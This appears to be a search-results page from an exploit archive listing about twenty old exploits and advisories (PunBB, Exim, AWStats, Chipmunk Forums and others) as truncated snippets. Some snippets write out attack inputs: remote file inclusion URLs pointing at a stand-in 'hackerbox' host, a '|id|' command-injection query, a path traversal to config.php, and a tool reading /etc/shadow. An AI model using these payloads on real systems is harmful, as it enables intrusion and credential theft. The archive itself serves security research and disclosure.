1726 matches found
PunBB version <= 1.2.2 Authentication Bypass Exploit
No description provided by source. !/usr/bin/perl use IO::Socket; PunBB version = 1.2.2 auth bypass exploit ------------------------------------------------- About vuln: lets look file /include/functions.php code start function checkcookie&$punuser ... if isset$COOKIE$cookiename...
Freeciv Server <= 2.0.0beta8 Denial of Service Exploit
Exploit for multiple platform in category dos / poc ====================================================== Freeciv Server \n"; exit1; system "clear"; $server = $ARGV0; print "- Freeciv DoS Exploit\n\n"; print "- Server IP: "; print $server; print "\n- Connecting to IP ...\n"; $socket =...
X.org: libXpm vulnerability
Background libXpm is a pixmap manipulation library for the X Window System, included in X.org. Description Chris Gilbert has discovered potentially exploitable buffer overflow cases in libXpm that weren't fixed in previous libXpm versions. Impact A carefully-crafted XPM file could crash X.org,...
Download Center Lite (DCL) <= 1.5 Remote File Inclusion
No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/downloadcenterlite.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-10...
The Includer CGI <= 1.0 Remote Command Execution
No description provided by source. Remote Command Execution on: Example I.: www.host-vulnerable.com/includer.cgi?|id| Example II.: www.host-vulnerable.com/includer.cgi?template=|id| milw0rm.com 2005-03-07...
phpWebLog 0.5.3 - Arbitrary File Inclusion
Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/include/init.inc.php?GPATH=http://hackerbox/ http://victim/dir/backend/addons/links/index.php?PATH=http://hackerbox/ milw0rm.com 2005-03-07...
PHP Form Mail 2.3 Arbitrary File Inclusion
Exploit for unknown platform in category web applications ========================================== PHP Form Mail 2.3 Arbitrary File Inclusion ========================================== Example: if registerglobals=on and allowurlfopen=on:...
Computer Associates License Client GETCONFIG Overflow
This module exploits a vulnerability in the CA License Client service. This exploit will only work if your IP address can be resolved from the target system point of view. This can be accomplished on a local network by running the 'nmbd' service that comes with Samba. If you are running this...
Einstein 1.01 - Local Password Disclosure
/ Einstein v1.01 Local Password Disclosure Exploit by Kozan Application: Einstein v1.01 and previous versions Procuder: Bfriendly.com Vulnerable Description: Einstein v1.01 discloses passwords to local users. Discovered & Coded by: Kozan Credits to ATmaCA Web: www.netmagister.com Web2:...
KStars: Buffer overflow in fliccd
Background KDE is a feature-rich graphical desktop environment for Linux and Unix-like Operating Systems. KStars is a desktop planetarium for KDE. It includes support for the Instrument Neutral Distributed Interface INDI. Description Erik Sjolund discovered a buffer overflow in fliccd which is pa...
Microsoft Internet Explorer 5.0.1 - Mouse Event URI Status Bar Obfuscation
source: https://www.securityfocus.com/bid/12541/info Microsoft Internet Explorer is reported prone to a URI obfuscation weakness. The issue presents itself when a HREF tag contains certain mouse events. This issue may be leveraged by an attacker to display false information in the status bar or U...
Exim <= 4.43 auth_spa_server() Remote PoC Exploit
Exploit for linux platform in category remote exploits ================================================= Exim Howdy : This is pretty straightforward, an exploit for the recently discovered vulnerability in Exim's all versions prior to and including 4.43 SPA authentication code - spabase64tobits...
Chipmunk Forums SQL Injection Exploit
No description provided by source. /==========================================/ // GHC - Chipmunk forum - ADVISORY // Product: Chipmunk Forums // URL: http://www.chipmunk-scripts.com/board // VULNERABILITY CLASS: SQL injection // RISK: hight /==========================================/ exploit at...
Chipmunk Forums SQL Injection Exploit
Exploit for unknown platform in category web applications ===================================== Chipmunk Forums SQL Injection Exploit ===================================== /==========================================/ // GHC - Chipmunk forum - ADVISORY // Product: Chipmunk Forums // URL:...
XOOPS Module module 3.0 - Directory Traversal
XOOPS Module module 3.0 - Directory Traversal source: https://www.securityfocus.com/bid/12406/info Xoops Incontent module is reported prone to a directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input. A malicious user could...
AWStats configdir Remote Command Execution Exploit (c code)
Exploit for cgi platform in category web applications =========================================================== AWStats configdir Remote Command Execution Exploit c code =========================================================== / AwStats exploit by Thunder, email protected This exploit makes...
AWStats 6.0 6.2 - configdir Remote Command Execution (Perl)
AWStats 6.0 6.2 - configdir Remote Command Execution Perl !/usr/bin/perl ---GHC--------------------------------- Remote command execution exploit Product: Advanced Web Statistics 6.0 - 6.2 URL:http://awstats.sourceforge.net Greets & respects to our friends: 1dt.w0lf and all rst.void.ru Special...
fkey 0.0.2 - Local File Accessibility
/ fkeyv0.0.2: local/remote file accessibility exploit. by: vade79/v9 [email protected] fakehalo/realhalo netris homepage/URL: http://www.freshmeat.net/projects/fkey compile: gcc xfkey.c -o xfkey syntax: ./xfkey /etc/shadow 2/savefilename bug: fkey is a finger-like daemon for accessing remote files i...
NodeManager Professional 2.00 - Remote Buffer Overflow
/ Included stdio.h for my compile errors /str0ke / // // NodeManager Professional V2.00 Buffer Overflow Vulnerability // Bind Shell Exploit for English Win2K/XP // 21 Dec 2004 // // NodeManager Professional is a network management and monitoring tool. // It receives SNMPv1 traps and displays them...
QWikiwiki Directory Traversal Vulnerability
Exploit for unknown platform in category web applications =========================================== QWikiwiki Directory Traversal Vulnerability =========================================== REQUEST: http://SERVER/qwiki/index.php?page=../config.php%00 0day.today 2018-02-18...